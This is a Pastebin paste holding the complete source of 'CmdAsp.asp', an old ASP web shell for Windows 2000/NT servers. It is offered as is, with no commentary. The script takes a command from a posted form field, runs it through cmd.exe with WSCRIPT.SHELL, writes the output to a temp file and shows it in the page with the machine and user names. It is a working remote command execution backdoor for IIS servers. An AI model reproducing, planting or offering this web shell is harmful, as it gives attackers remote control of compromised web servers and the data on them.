0xspade

CMD ASP Shell

Aug 26th, 2016
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 1.45 KB | None | 0 0
  1. <++ CmdAsp.asp ++>
  2. <%@ Language=VBScript %>
  3. <%
  4. ' --------------------o0o--------------------
  5. ' File: CmdAsp.asp
  6. ' Author: Maceo <maceo @ dogmile.com>
  7. ' Release: 2000-12-01
  8. ' OS: Windows 2000, 4.0 NT
  9. ' -------------------------------------------
  10.  
  11. Dim oScript
  12. Dim oScriptNet
  13. Dim oFileSys, oFile
  14. Dim szCMD, szTempFile
  15.  
  16. On Error Resume Next
  17.  
  18. ' -- create the COM objects that we will be using -- '
  19. Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  20. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  21. Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  22.  
  23. ' -- check for a command that we have posted -- '
  24. szCMD = Request.Form(".CMD")
  25. If (szCMD <> "") Then
  26.  
  27. ' -- Use a poor man's pipe ... a temp file -- '
  28. szTempFile = "C:\" & oFileSys.GetTempName( )
  29. Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  30. Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  31.  
  32. End If
  33.  
  34. %>
  35. <HTML>
  36. <BODY>
  37. <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
  38. <input type=text name=".CMD" size=45 value="<%= szCMD %>">
  39. <input type=submit value="Run">
  40. </FORM>
  41. <PRE>
  42. <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
  43. <br>
  44. <%
  45. If (IsObject(oFile)) Then
  46. ' -- Read the output from our command and remove the temp file -- '
  47. On Error Resume Next
  48. Response.Write Server.HTMLEncode(oFile.ReadAll)
  49. oFile.Close
  50. Call oFileSys.DeleteFile(szTempFile, True)
  51. End If
  52. %>
  53. </BODY>
  54. </HTML>
  55. <-- CmdAsp.asp -->
Add Comment
Please, Sign In to add comment